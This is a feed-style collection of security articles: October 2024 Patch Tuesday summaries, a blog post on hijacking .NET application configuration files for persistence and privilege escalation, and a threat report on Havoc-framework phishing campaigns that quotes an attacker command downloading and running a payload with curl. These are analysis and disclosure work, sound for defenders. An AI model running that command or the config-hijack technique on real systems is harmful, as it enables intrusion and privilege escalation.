Using GPUs with clustered VMs through DDA allows you to assign one or more entire physical GPUs to a single virtual machine (VM). DDA allows virtual machines (VMs) to have direct access to the physical GPUs. This results in reduced latency and full utilization of the GPU’s capabilities, which is crucial for compute-intensive tasks.

Figure 1: This diagram shows users using GPU with clustered VMs via DDA, where full physical GPU are assigned to VMs.

Using GPUs with clustered VMs enables these high-compute workloads to be executed within a failover cluster. A failover cluster is a group of independent nodes that work together to increase the availability of clustered roles. If one or more of the cluster nodes fail, the other nodes begin to provide service, meaning high availability by failover clusters. By integrating GPU with clustered VMs, these clusters can now support high-compute workloads on VMs. Failover clusters use GPU pools, which are managed by the cluster. An administrator creates these GPU pools name and declares a VM’s GPU needs. Pools are created on each node with the same name. Once GPUs and VMs are added to the pools, the cluster then manages VM placement and GPU assignment. Although live migration is not supported, in the event of a server failure, workloads can automatically restart on another node, minimizing downtime and ensuring continuity.

Using GPU with clustered VMs through DDA will be available in Windows Server 2025 Datacenter and was initially enabled in Azure Stack HCI 22H2.

To use GPU with clustered VMs, you are required to have a Failover Cluster that operates on Windows Server 2025 Datacenter edition and ensure the functional level of the cluster is at the Windows Server 2025 level. Each node in the cluster must have the same set up, and same GPUs in order to enable GPU with clustered VMs for failover cluster functionality . DDA does not currently support live migration. DDA is not supported by every GPU. In order to verify if your GPU works with DDA, contact your GPU manufacturer. Ensure you adhere to the setup guidelines provided by the GPU manufacturer, which includes installing the GPU manufacturer specific drivers on each server of the cluster and obtaining manufacturer-specific GPU licensing where applicable.

For more information on using GPU with clustered VMs, GPU Partitioning and GPU-P Live Migration please review our documentation below:

Introducing GPU Innovations with Windows Server 2025 - Microsoft Community Hub  

Partition and share GPUs with virtual machines on Hyper-V | Microsoft Learn  

Partition and assign GPUs to a virtual machine in Hyper-V | Microsoft Learn  

Use GPUs with clustered VMs on Hyper-V | Microsoft Learn

Deploy graphics devices by using Discrete Device Assignment | Microsoft Learn

This one is about a neat technique which is still not so well-known at the time of writing this. It was presented to me as a method for gaining initial access, and then quite quickly I realized it can also become handy for other scenarios; persistence, privilege escalation and denial of service.

Application Configuration Files

The mechanism has a quite general name - Application Configuration Files (https://learn.microsoft.com/en-us/windows/win32/sbscs/application-configuration-files), which are one of four different so-called Side-by-side (SxS) Manifest types (https://learn.microsoft.com/en-us/windows/win32/sbscs/manifests). Quoting verbatim from MSDN:
"An application configuration file is an XML file used to control assembly binding. It can redirect an application from using one version of a side-by-side assembly to another version of the same assembly. This is called per-application configuration."

So how does this look like in practice?
Let's consider the following, extremely simple C# "application":

We can compile it by simply running csc, e.g.:
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe test.cs

Now, before we execute it, let's run Procmon and create just one monitoring rule: Path contains test.exe:

Once we run the executable and then look into Procmon output, we should notice references to a file named test.exe.config:

So upon invoking test.exe, both the Client-Server Runtime Subsystem Service (csrss.exe service) and the executable itself are searching for a file named test.exe.config - the Application Configuration File. If that file exists and contains valid XML, as documented in the MSDN reference, various runtime behaviors can be changed. And the one we are especially interested in is the ability to make the relevant process load an arbitrary DLL file (in .NET referred to as an "assembly").

Case #1 - initial access.

I learned about this mechanism and its application for initial access by stumbling upon this project: https://github.com/Mr-Un1k0d3r/.NetConfigLoader. The idea could be described as the .NET version of DLL side-loading. We pick a well-known, benign and digitally signed executable and deliver it with a maliciously crafted .config file, which upon execution makes the new process load a DLL with our code. An additional advantage it gives to attackers is the fact that the DLL file can be hosted remotely, over the HTTP protocol, and is dynamically fetched. This makes the payload more difficult to detect and analyze, while giving the attacker more control over it and its distribution. This use case is documented by Mr-Un1k0d3r on his project's page, so I am referring you there if this is what you are looking for.

Case #2 - persistence.

You might already know one of my previous articles - https://hackingiscool.pl/pe-import-table-hijacking-as-a-way-of-achieving-persistence-or-exploiting-dll-side-loading/. So it is not surprising that when I saw this, I immediately thought about using this mechanism for persistence. From the technical perspective the only challenge is to find a .NET executable that is run frequently, either manually by users, as a scheduled task, autorun or any other means. The whole point of choosing this method is evasion. As long as we only create an XML file with the .config extension, and optionally (if we do not host our DLL remotely) drop a DLL file in a publicly readable (if we're targeting regular users) location, using this method will less likely get us caught.

Case #3 - privilege escalation.

Now, as I recently played more with privilege escalation on Windows, I also immediately thought about abusing this mechanism to exploit scenarios where a privileged process is executed from a directory we can create new files in. You know, our favorite locations such as C:\Windows\Temp, C:\Users\Public or C:\ProgramData, as by default everyone can create new files in them. So whenever any process uses any of those paths in its executable search order (https://learn.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-createprocessa) or DLL loading search order (https://learn.microsoft.com/en-us/windows/win32/dlls/dynamic-link-library-search-order) - which in most cases will happen when the executable called is located in that directory - we, as attackers, have an opportunity to simply create our own executable or DLL file with the particular name and have it loaded by the process we want to hijack.
Creation of malicious .config files is just another flavor of this attack, applicable to .NET executables.

Let's see how this works in practice by creating a little proof of concept.
First, let's copy the previous test.exe example into C:\Users\Public, where every user can create new files. Note that I did this as a user called "win10":

Eventually we will call this process from the SYSTEM user (using psexec).
Now, keep in mind that in this scenario by default it is possible for Interactive Users to modify this newly created file - due to the permission automatically inherited from the C:\Users\Public directory. Therefore exploitation for LPE is possible to regular users by simply overwriting the file or moving it and creating a new one named test.exe. But let's pretend that we don't have this permission, or even revoke it from the file for the app.config LPE poc:

Since all the ACEs on the test.exe file created in C:\Users\Public were inherited, this will effectively remove all of them, revoking any type of access from everyone:

So additionally I granted full control to the owner (win10) and SYSTEM.
Now just to confirm that our other (non-administrative) user named "normal" has no access to the file whatsoever:

LPE POC
OK, so how do we go about creating our privilege escalation exploit?
We will create two files:

1. A DLL (.NET assembly) that will simply attempt to create a new text file named POC.txt in C:\Windows (only Administrators and SYSTEM can do that - remember, eventually we will run the target process (test.exe) from SYSTEM, using psexec). Our attacker - "normal" - will trick the process to load this DLL by crafing a proper test.exe.config file.
2. test.config.exe Application Configuration File, referring to the DLL.

Here's the DLL:

Now, before we compile it, first we need to generate a Strong Name Key File (https://learn.microsoft.com/en-us/biztalk/core/how-to-configure-a-strong-name-assembly-key-file) for it. Do not confuse it with Authenticode digital signatures (https://learn.microsoft.com/en-us/windows-hardware/drivers/install/authenticode), these are two different things.
To generate the key file, we use the sn.exe tool from Visual Studio. Depending on your version of Visual Studio, adjust your path accordingly. After genering the key we will have to point it while compiling the executable.
On my system the commands were, respectively:
"C:\Program Files (x86)\Microsoft SDKs\Windows\v10.0A\bin\NETFX 4.8 Tools\x64\sn.exe" -k key.snk
C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe /out:POCDLL.dll /t:library /keyfile:key.snk POCDLL.cs

OK, now we need to extract the strong name from the POCDLL.dll file. We will need it when crafting the .config XML file.
An easy way to do this is by using powershell and invoking:
[System.Reflection.AssemblyName]::GetAssemblyName("C:\Users\Public\POCDLL.dll").FullName

The output I got for mine:
POCDLL, Version=0.0.0.0, Culture=neutral, PublicKeyToken=cafc9db063be6f14

Finally, we create our test.exe.config file:

1 - The name of the target executable, without the extension.
2 - The strong name public key token.
3 - The path to our DLL (can be a href="http://server"), but in this case it is local, also located in C:\Users\Public.
4 - The name of the main class in our .NET DLL file (assembly).

We save it in the same directory as the executable we want to attack - in this case C:\Users\Public.
Both files - test.exe.config and POCDLL.dll - are created and owned by our regular user - "normal".

Now, before we launch test.exe as SYSTEM, using psexec, let's start Procmon first. This time the rule set we are interested in is:

1. Path contains test.exe.
2. Path ends with POC.txt.

Aaaand action!

Case #4 - denial of service.

Now, there is just one more case I found this mechanism "useful" for. What if we're not dealing with a .NET application, but a regular PE consisting of unmanaged code?
Let's see what happens if we copy - let's say ping.exe - to C:\Users\Public and then create an invalid ping.exe.config file:

Now let's try to run it, from the same SYSTEM session, to prove impact across security identities:

We can see that instead of help we got an error message:
"The application has failed to start because its side-by-side configuration is incorrect. Please see the application event log or use the command-line sxstrace.exe tool for more detail."
So, even if an application is not built in .NET, the corresponding .config file is checked and parsed, by csrss.exe (as visible in the third screenshot in the beginning of this article). And if it fails to parse it, the process won't start. So, if everything else fails and we can't inject our own code into the process, at least we can crash it. Just for the fun of it.

The largest Microsoft Patch Tuesday since July includes two vulnerabilities that have been exploited in the wild and three other critical issues across the company’s range of hardware and software offerings.  

October’s monthly security update from Microsoft includes fixes for 117 CVEs, the most in a month since July’s updates covered 142 vulnerabilities.   

The two vulnerabilities that Microsoft reports have been actively exploited in the wild and are publicly known are both rated as only being of “moderate” severity.  

CVE-2024-43572 is a remote code execution vulnerability in the Microsoft Management Console that could allow an attacker to execute arbitrary code on the targeted machine. Microsoft’s security update will prevent untrusted Microsoft Saved Console (MSC) files from being opened to protect users against adversaries trying to exploit this vulnerability.  

The security update will prevent untrusted Microsoft Saved Console (MSC) files from being opened to protect customers against the risks associated with this vulnerability. 

The other vulnerability that was exploited in the wild in this week’s security update is CVE-2024-43573, a platform spoofing vulnerability in Windows MSHTML. Platform spoofing vulnerabilities usually allow an adversary to gain unauthorized access to an environment by disguising themselves as a trusted source.  

CVE-2024-43583, an elevation of privilege vulnerability in Winlogon, has also been publicly disclosed, according to Microsoft, but has not yet been exploited in the wild. This vulnerability could allow an attacker to obtain SYSTEM-level privilege. In addition to applying the patch, Microsoft also recommends users enable a Microsoft first-party Input Method Editor (IME) on their devices to prevent adversaries from being able to exploit third-party IMEs during the sign-in process. 

October’s Patch Tuesday also includes three critical vulnerabilities that could all lead to remote code execution. 

CVE-2024-43468 is the most serious of this bunch, with a CVSS severity score of 9.8 out of 10. An attacker could exploit this vulnerability in Microsoft Configuration Manager to execute commands on the targeted server or underlying database. 

Another remote code execution vulnerability, CVE-2024-43488, exists in the Visual Studio Code extension for Arduino, an open-source platform for building and managing single-board microcontrollers and microcontroller kits. A missing authentication protocol could allow an adversary to execute remote code over the network.  

Microsoft stated that the company has already mitigated this vulnerability and users do not need to take any additional steps. This extension has also been deprecated and can no longer be downloaded from the internet. 

Lastly, CVE-2024-43582 exists in the Windows Remote Desktop Protocol server and could allow an attacker to execute code on the server side with the same permissions as the RPC service. An adversary could exploit this vulnerability by sending malformed packets to an RPC host. However, exploitation also requires that the adversary win a race condition first.  

Cisco Talos would also like to highlight several vulnerabilities that are only rated as “important,” but Microsoft lists as “more likely” to be exploited: 

• CVE-2024-43502: Elevation of privilege vulnerability in Windows Kernel 
• CVE-2024-43509 and CVE-2024-43556: Elevation of privilege vulnerabilities in Windows Graphics Component     
• CVE-2024-43560: Elevation of privilege vulnerability in Windows Storage Port 
• CVE-2024-43581 and CVE-2024-43615: Remote code execution vulnerability in Microsoft OpenSSH for Windows  
• CVE-2024-43609: Spoofing vulnerability in Microsoft Office 

A complete list of all the other vulnerabilities Microsoft disclosed this month is available on its update page. 

In response to these vulnerability disclosures, Talos is releasing a new Snort rule set that detects attempts to exploit some of them. Please note that additional rules may be released at a future date and current rules are subject to change pending additional information. Cisco Security Firewall customers should use the latest update to their ruleset by updating their SRU. Open-source Snort Subscriber Rule Set customers can stay up to date by downloading the latest rule pack available for purchase on Snort.org.  

The rules included in this release that protect against the exploitation of many of these vulnerabilities are 64083 - 64086, 64089, 64090, 64111 and 64112. There are also Snort 3 rules 301034 - 301036 and 301041.

It’s the spooky season, and there’s nothing spookier than security patches – at least in my world. Microsoft and Adobe have released their latest patches, and no bones about it, there are some skeletons in those closets. Take a break from your regular activities and join us as we review the details of their latest security alerts. If you’d rather watch the full video recap covering the entire release, you can check it out here:

Adobe Patches for October 2024

For October, Adobe released nine patches addressing 52 CVEs in Adobe Substance 3D Painter, Commerce, Dimension, Animate, Lightroom, InCopy, InDesign, Substance 3D Stager, and Adobe FrameMaker. Two of these bugs were submitted through the ZDI program. The largest and most urgent of these patches covers 22 CVEs in Adobe Commerce, which includes fixes for Critical-rated code execution bugs. Although not listed as public or under attack, Adobe lists this as Priority 2. The update for Dimension fixes two Critical-rated bugs that could lead to code execution. The fix for Animate fixes 11 vulnerabilities, some of which could lead to code execution. The Substance 3D Stager patch covers eight bugs – all of which are rated Critical and could lead to code execution. The five CVEs addressed by the FrameMaker fix are also all Critical-rated code execution bugs. The remaining bulletins all address only a single CVE each. The memory leak in Substance 3D Painter is rated Important. That’s the same for the Lightroom patch. The InCopy patch fixes a Critical-rated unrestricted upload bug, which is also the case for the InDesign fix.

None of the bugs fixed by Adobe this month are listed as publicly known or under active attack at the time of release. Outside of the fix for Commerce, Adobe categorizes these updates as a deployment priority rating of 3.

Microsoft Patches for October 2024

This month, Microsoft released 117 new CVEs in Windows and Windows Components; Office and Office Components; Azure; .NET and Visual Studio; OpenSSH for Windows; Power BI; Windows Hyper-V; and Windows Mobile Broadband. One of these vulnerabilities was reported through the ZDI program. With the addition of the third-party CVEs, the entire release tops out at 121 CVEs.

Of the patches being released today, three are rated Critical, 115 are rated Important, and two are rated Moderate in severity. This is the third triple-digit CVE release from Microsoft this year, putting the Redmond giant on pace to exceed the number of CVEs fixed in 2023. They are still a way off from the record pace set in 2020 (thankfully).

Five of these CVEs are listed as publicly known, and two of these are listed as under active attack at the time of release. Let’s take a closer look at some of the more interesting updates for this month, starting with the vulnerabilities currently being exploited:

CVE-2024-43573 - Windows MSHTML Platform Spoofing Vulnerability
While only listed as Moderate, this is one of the bugs listed as actively exploited this month. This is also very similar to the bug patched back in July in the same component, which was used by the APT group known as Void Banshee. You can read out full analysis of that bug here. There’s no word from Microsoft on whether it’s the same group, but considering there is no acknowledgment here, it makes me think the original patch was insufficient. Either way, don’t ignore this based on the severity rating. Test and deploy this update quickly.

CVE-2024-43572 - Microsoft Management Console Remote Code Execution Vulnerability
Here’s another Moderate-severity bug listed as being actively attacked. In this instance, a threat actor would need to send a malicious MMC snap-in and have a user load the file. While this does sound unlikely, it’s clearly happening. Microsoft doesn’t say how widespread these attacks are, but considering the amount of social engineering required to exploit this bug, I would think attacks would be limited at this point. Still considering the damage that could be caused by an admin loading a malicious snap-in, I would test and deploy this update quickly.

CVE-2024-43468 - Microsoft Configuration Manager Remote Code Execution Vulnerability
Not to be confused with MMC, here’s a bug in the Configuration Manager that doesn’t require user interaction. In fact, this CVSS 9.8 bug could be hit by a remote, unauthenticated attacker sending specially crafted requests, resulting in arbitrary code execution on the target server. In addition to the patch, you’ll need to install an in-console update to be protected. Microsoft provides this guide for those affected. This is another example of why the “Just Patch” advice is short-sighted.

CVE-2024-43582 - Remote Desktop Protocol Server Remote Code Execution Vulnerability
This bug also allows a remote, unauthenticated attacker to gain arbitrary code execution at elevated levels simply by sending specially crafted RPC requests. Microsoft notes that the attacker would need to win a race condition, but we’ve seen plenty of successful Pwn2Own entries win race conditions. While this bug is wormable, it’s unlikely to actually result in a worm. RPC should be blocked at your perimeter, and it isn’t, now’s a good time to check. That limits this to internal systems only, but it could be used for lateral movement within an enterprise.

Here’s the full list of CVEs released by Microsoft for October 2024:

* Indicates this CVE had been released by a third party and is now being included in Microsoft releases.

† Indicates further administrative actions are required to fully address the vulnerability.

The only other Critical-rated bug this month is for the Visual Studio Code extension for Arduino. However, there’s no action to take here as Microsoft has already resolved the issue and is just documenting this CVE.

There are 39 other code execution bugs to cover this month, and many of these are the open-and-own variety found in Office and other components. There are a dozen bugs affecting the Routing and Remote Access Service (RRAS), but only a few of these could be triggered by a remote attacker. The others require the client to attempt to connect to a malicious server. The patch for Azure Service Fabric for Linux requires special privileges to hit. There’s a code execution bug in DeepSpeed – the open-source deep learning optimization library – but Microsoft provides no details on it. This also appears to be the first CVE for this component. There are three bugs in OpenSSH for Windows, but all require extensive user interaction and are unlikely to be exploited. The two bugs in RDP client require connecting to a malicious RDP server, which also seems unlikely. Connecting to a malicious server is also a requirement for the bug in Windows Telephony.

The code execution bug in Hyper-V is somewhat limited but still interesting. It could allow a guest OS to execute code against another guest OS, but it wouldn’t allow that code execution to a system not on the same Hyper-V server. The bug in the Remote Desktop Licensing server requires authentication. The code execution bugs are rounded out with a half-dozen fixes for the Mobile Broadband Driver. Interestingly, all six of these require the attacker to physically insert a malicious USB drive into an affected system.

There are more than two dozen fixes for Elevation of Privilege (EoP) bugs in this release. However, most of these either lead to SYSTEM-level code execution or administrative privileges if an authenticated user runs specially crafted code. However, there are a few that stand out. The bug in Netlogon is the most interesting to me. It allows an adjacent attacker to impersonate a domain controller if they can predict the naming convention of the domain controller when added. It’s an unlikely scenario, but kudos to the person who found such an odd corner case. The EoP in Azure Command Line Integration requires the attacker to be assigned the role of either “Security Admin” or “Contributor” but exploitation could lead to SYSTEM-level access. Interestingly, the bug in the NT OS Kernel could lead to kernel memory access, which sounds a bit like an information disclosure bug to me. Finally, the bug in Outlook for Android leads to SYSTEM when opening a malicious meeting or appointment invitation. That’s another vote from e-mails or meetings – especially when food isn’t involved.

There are a handful of Security Feature Bypass (SFB) bugs in the October release, and the BitLocker fix stands out since for Windows Server 2012 R2, you will need to install KB2919355 first to be protected. There are three different bypasses in the Windows Resume Extensible Firmware Interface and all of them allow local attackers to bypass Secure Boot. The bug in the Scripting Service bypasses the Anti-Malware Scanning Interface under certain circumstances. As expected, the bug in the Code Integrity Guard allows an authenticated attacker to bypass code integrity checks. The bypass in Hyper-V would be tricky to implement as there are a lot of caveats, but successful exploitation allows an attacker to bypass UEFI on the hypervisor. This is one of the bugs listed as publicly known, but I would be stunned to see this ever exploited in the wild.

The October release includes fixes for only six information disclosure bugs, and all but one simply result in info leaks consisting of unspecified memory contents. The exception is the bug in the Cryptographic component. An attacker could read the contents of the Optimal asymmetric encryption padding (OAEP) decrypt from a user mode process. This could potentially result in a cross-VM attack affecting multiple VMs on a single hypervisor.

In addition to the one previously covered, there are six other spoofing bugs receiving patches this month. Unfortunately, Microsoft doesn’t provide much information about these vulnerabilities. The spoofing bug in Office appears to result in NTLM relaying as Microsoft lists restricting outbound NTLM as a mitigation. There’s no real information about the Power BI bugs other than to say they require authentication. The vulnerability in Secure Channel requires a Machine-in-the-Middle (MitM) to succeed. The final spoofing bug is in Sudo for Windows. An authenticated attacker would need to launch a specially crafted application and then wait for the target to enter a command in a console window.

There are a mountain of Denial-of-Service (DoS) bugs getting fixed this month, and many of these are in the Mobile Broadband Driver. There’s not a lot of info on these bugs, but Microsoft notes the target must be “within proximity of the target system to send and receive radio transmissions.” There’s little other information to go on here. I do like how the kernel bug must be exploited by “An authorized attacker…” I think they meant authenticated here as not many attackers are authorized. It would be great if Microsoft could provide just a bit more information here. Is this a temporary or a permanent DoS? Does the system automatically recover or does an administrator need to take action? Please Microsoft – don’t be stingy with the details.

Finally, the release is rounded out by a single tampering bug in Remote Desktop Services. Microsoft (again) provides no real detail here other than that the attacker must be MitM. Well, that’s something I suppose.

There are no new advisories in this month’s release. However, ADV990001 has been revised to include the latest servicing stack updates.

Looking Ahead

The next Patch Tuesday of 2024 will be on November 12, and, assuming I survive Pwn2Own Ireland, I’ll return with details and patch analysis then. Until then, keep the lights on, stay safe, happy patching, and may all your reboots be smooth and clean!

A new research by BI.ZONE Threat Intelligence reveals how adversaries attempt to bypass cybersecurity systems.

In recent months, adversaries have increasingly opted for the Havoc post-exploitation framework. The tool is less popular compared to Cobalt Strike, Metasploit, and Sliver. According to BI.ZONE Threat Intelligence, this C2 framework is employed in an attempt to evade cybersecurity systems that may not flag an unknown program as malicious. For instance, such was the approach of the Mysterious Werewolf cluster that leveraged the Mythic framework in one of its campaigns.

In this research, we explore two campaigns based on the Havoc framework.

Criminals often send out phishing emails on behalf of well-known organizations. To make their messages look plausible and convincing, adversaries eagerly use the names of renowned universities, government regulators, and law enforcement agencies. The names of credible institutions lull the user’s vigilance, prompting them to open malicious emails.

It is important to remember that the organizations whose brands are abused in phishing emails are not liable for the actions of criminals and the associated damage

Key findings

• Adversaries continue to seek alternatives to malware, frequently resorting to post-exploitation frameworks.
• By using lesser known tools, attackers increase their chances of bypassing security systems.
• Phishing emails remain the most popular way of getting initial access as they provide a broader attack surface.

Campaign №1

In July, BI.ZONE Threat Intelligence specialists discovered an archive Выписка амбулаторная Камильская.zip with the ISO file Документы Камильская.iso which in turn contained the LNK file Камильская А. Г.lnk. The names of the archive and its contents suggested that they contained an outpatient medical record and related documents. The opening of the LNK file triggered the execution of the command:

cmd.exe /c curl hxxp://87.242.107[.]147/Vipiska.doc -o C:\Users\Public\Documents\Vipiska.doc && curl hxxp://87.242.107[.]147/OneDriveUpdater.exe -o C:\Users\Public\Downloads\OneDriveUpdater.exe && start /min /B C:\Users\Public\Downloads\OneDriveUpdater.exe && start /B C:\Users\Public\Documents\Vipiska.doc && taskkill /F /IM cmd.exe

The said command performed the following actions:

• used cURL to download the decoy document from the server 87.242.107[.]147 and stored it in the compromised system under the name C:\Users\Public\Documents\Vipiska.doc
• used cURL to download OneDriveUpdater.exe from the server 87.242.107[.]147 and stored the executable in the compromised system under the name C:\Users\Public\Downloads\OneDriveUpdater.exe
• ran the downloaded OneDriveUpdater.exe
• opened the decoy Vipiska.doc
• terminated the cmd.exe process with the help of taskkill

The decoy was an outpatient medical record (fig. 1).

OneDriveUpdater.exe was a PE32 executable written in C# that served as a loader. The file contained an encrypted payload, which it decrypted and ran in memory. Although OneDriveUpdater.exe had a Microsoft OneDrive icon, the file did not have a digital signature.

To prepare and run the malicious payload, the loader used the following WinAPI functions:

• VirtualAllocExNuma to allocate a memory region for the malicious payload
• VirtualProtect to set/modify the protection options for memory regions
• CreateThread to create a thread for execution in the context of the running process

To obstruct analysis, the loader checked:

• code execution time: if the program “slept” less than 2.5 seconds out of 3 seconds (the set sleep value), it terminated
• name of the running process: if the name was other than OneDriveUpdater, the program terminated

The loader contained two types of encrypted malicious payload: x86 and x64. Decrypting the payload required a double XOR with 32-byte keys.

The malicious payload was a shellcode that launched a dynamic link library with the original name demon.x86.dll/demon.x64.dll. The library was a Demon implant of the Havoc framework. The implant's configuration data is presented in table 1 below.

We also discovered a similar sample of OneDriveUpdater.exe (SHA-256: 189802cc7a8f5b8d260da48398835c9926b489fe0c1074e32dcf1fb3bad2e569) with the identical PDB path. The loader also contained the Demon implant of the Havoc framework. In this case, 87.242.107[.]224 was used as the C2 server.

Our analysis of the C2 servers enabled us to find additional malicious files. We also discovered some previously unknown components of the C2 infrastructure (all the associated indicators of compromise are available on the BI.ZONE Threat Intelligence portal). The files included another decoy document, titled Medical.doc, that was a nearly exact copy of Vipiska.doc (fig.2), which proved that the files had been created by adversaries.

Analysis of the metadata suggested that the attackers used data stolen from a medical research center.

Campaign №2

In August, BI.ZONE Threat Intelligence specialists discovered a phishing email (fig. 3).

A link in the body of the email led to hxxp://inforussia[.]org/dokumenty.html that contained a malicious payload encoded in Base64 (Base64 outcome plus 35) (fig. 4).

Clicking the link enabled the malicious payload to be saved in the compromised system as Dokumenty_FSB.exe. Written in C/C++, this PE32+ executable had a PDF icon and served as a loader. Its RCData contained a malicious payload encoded as IPv6 addresses separated by the characters 0D 0A and XOR encrypted with a key of 10,000 bytes. The loader decoded and decrypted the malicious payload in the memory and then ran it via a thread.

Similarly to the previous campaign, the malicious payload was a shellcode that launched a dynamic link library with the original name demon.x86.dll/demon.x64.dll. The library was a Demon implant of the Havoc framework. The implant’s configuration data is presented in table 2 below.

Indicators of compromise

Выписка амбулаторная Камильская.zip

• MD5: d970b9e0f46675098dbdd3082565c1c0
• SHA-1: 7388f62e8da9cdbcac4f5bc6b0dc41ff8f0056a9
• SHA-256: 88f83a7394c61b0e05432572ccbbacd1878dad0602c5459f98f46c265e63d8c7

Документы Камильская.iso

• MD5: 3273fb8b07627d8bf5aa4d45aa817ba5
• SHA-1: 14a8c1f7dd2ec5ac1faa8050acbb2fcdf7b8ac8c
• SHA-256: 07ae355ebfafe21d81592b765053c48cf4a079d71b359b6a4d7f412b1dfb6374

Камильская А. Г.lnk

• MD5: ac043785536df294f73f89040d4fc767
• SHA-1: f0f6947cca25f01eda399a7fba1c23e11a0c3a15
• SHA-256: 48a579e8e48938f810fd6568e0d5c8ed6b3ec093f3c76a67f9c494224962a334

OneDriveUpdater.exe

• MD5: 31113f00145ab7d3773884f091407bed
• SHA-1: 061d2d06ce1cabde79ee392645c3568df36fdf17
• SHA-256: 189802cc7a8f5b8d260da48398835c9926b489fe0c1074e32dcf1fb3bad2e569

OneDriveUpdater.exe

• MD5: 14fa89384daab27b998d53efc1750a38
• SHA-1: 7f7313d8e9d18823a57ac7a329b9695f6fa7b962
• SHA-256: 7e3928a7f3300aedf261db5596cb7f2f6aac115240b010e25a3d53decde38fd0

dokumenty.html

• MD5: 8a21fe665d3f3a0e44f21e3381da067c
• SHA-1: ad6f413709c9e3af885233822a1aebd779bba7bc
• SHA-256: 7c2f59d9790b816cb6f27a796d7c928046519f7429b7d2bbe53c60a7a55e22a7

Dokumenty_FSB.exe

• MD5: f43dd2463e238ec7af4c63df87db6c73
• SHA-1: bb92e0ca7eda4b866af872a4552e4df42bb28aba
• SHA-256: ac301b7698ac040f219eb8dfb248595a406b075d91f51116ef60d4dd9f5242ad

hxxp://inforussia[.]org

87.242.107[.]147

87.242.107[.]224

46.29.162[.]93

MITRE ATT&CK

Campaign №1

Campaign №2

Detection

The examined malicious activity is detected by the following BI.ZONE EDR rules:

• win_access_to_ti_observed_host_from_nonbrowsers
• win_execution_of_ti_observed_file
• win_curl_download_and_execute_file
• win_kill_cmd_process
• win_suspicious_code_injection_to_system_process
• win_possible_parent_process_spoofing

How to protect your company from such threats

Phishing emails are the most popular attack vector against organizations. To protect your mail server, you can use specialized services that help to filter unwanted emails. One such service is BI.ZONE CESP. The solution eliminates the problem of illegitimate emails by inspecting every message. It uses over 600 filtering mechanisms based on machine learning, statistical, signature, and heuristic analysis. This inspection does not slow down the delivery of secure messages.

Studying the current attack methods and tools is important for mapping the cyber threat landscape. To stay aware of the latest campaigns and methods used in attacks against specific infrastructures, we recommend dedicated portals such as BI.ZONE Threat Intelligence. The solution provides information about current attacks, threat actors, their methods and tools. This data helps to ensure the effective operation of security solutions, accelerate incident response, and protect from the most critical threats to the company.

Last Week in Security is a summary of the interesting cybersecurity news, techniques, tools and exploits from the past week. This post covers 2024-09-30 to 2024-10-07.

Get your FREE 2024 Cybersecurity Salary Guide: https://www.infosecinstitute.com/form/cybersecurity-salary-guide-podcast/?utm_source=youtube&utm_medium=podcast&utm_campaign=podcast

Today on CyberWork, Dr. Shayla Treadwell, vice president of governance, risk, and compliance (GRC) at ECS, discusses the role of AI in the GRC space. She breaks down AI applications for GRC, the importance of AI governance and the significant roles in performing compliance on AI tools and software. Dr. Treadwell also shares her unorthodox journey into cybersecurity, emphasizes the importance of critical thinking, and offers career advice for aspiring professionals. Additionally, the episode highlights the impact of AI on the cybersecurity landscape and strategies for effectively integrating AI while mitigating risks.

00:00 - Introduction
00:33 - Cybersecurity salary ebook
01:27 - Welcome to the Cyber Work Podcast
01:45 - Meet Dr. Shayla Treadwell
03:36 - Shayla's journey into cybersecurity
07:24 - The role of governance, risk and compliance
13:15 - Daily responsibilities of a GRC professional
15:40 - Challenges and skills in GRC
23:10 - AI in governance, risk and compliance
31:11 - Leveraging AI for efficiency
31:46 - Balancing compliance and innovation
32:44 - Understanding compliance beyond regulations
34:00 - The VUCA concept and its relevance
35:22 - AI's humanistic and ethical considerations
40:10 - Skills for AI governance careers
43:49 - Global AI governance community
47:24 - Opportunities and challenges in AI
49:07 - Optimism in AI's future
53:05 - Career advice and ECS overview
57:29 - AI and GRC

– View Cyber Work Podcast transcripts and additional episodes: https://www.infosecinstitute.com/podcast/?utm_source=youtube&utm_medium=podcast&utm_campaign=podcast 

About Infosec
Infosec’s mission is to put people at the center of cybersecurity. We help IT and security professionals advance their careers with skills development and certifications while empowering all employees with security awareness and phishing training to stay cyber-safe at work and home. More than 70% of the Fortune 500 have relied on Infosec Skills to develop their security talent, and more than 5 million learners worldwide are more cyber-resilient from Infosec IQ’s security awareness training. Learn more at infosecinstitute.com.

Wir haben aufregende Neuigkeiten für dich! Wir sind in diesem Jahr auf der IT-Security Messe ITSA vertreten und würden uns freuen, dich an unserem Stand 6-246 vom 22. bis 24. Oktober 2024 begrüßen zu dürfen. Dort zeigen wir dir die neuesten Entwicklungen und Lösungen im Bereich IT-Sicherheit.

Die ITSA ist eine der führenden Messen für Informationssicherheit und Cybersecurity in Europa. Hier kannst du mehr über die aktuellen Trends und Herausforderungen in diesem wichtigen Bereich erfahren. Unser Expertenteam wird während der Messe für dich da sein, um deine Fragen zu beantworten und dir wertvolle Einblicke in die Welt der IT-Sicherheit zu bieten.

Der Beitrag Besuche uns auf der IT-Security Messe ITSA – Stand 6-246 erschien zuerst auf HanseSecure GmbH.